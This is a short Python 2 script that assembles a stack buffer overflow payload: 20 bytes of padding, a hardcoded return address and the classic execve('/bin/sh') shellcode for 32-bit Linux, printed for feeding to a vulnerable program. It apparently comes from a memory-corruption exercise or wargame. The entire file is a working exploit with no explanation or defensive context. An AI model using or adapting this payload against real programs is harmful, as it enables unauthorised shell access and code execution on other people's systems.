#!/usr/bin/env python

padding = "\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69"
return_pointer = "\xf0\xf7\xff\xbf"

shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" + "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" + "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" + "\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

buffer = padding + return_pointer + shellcode

print buffer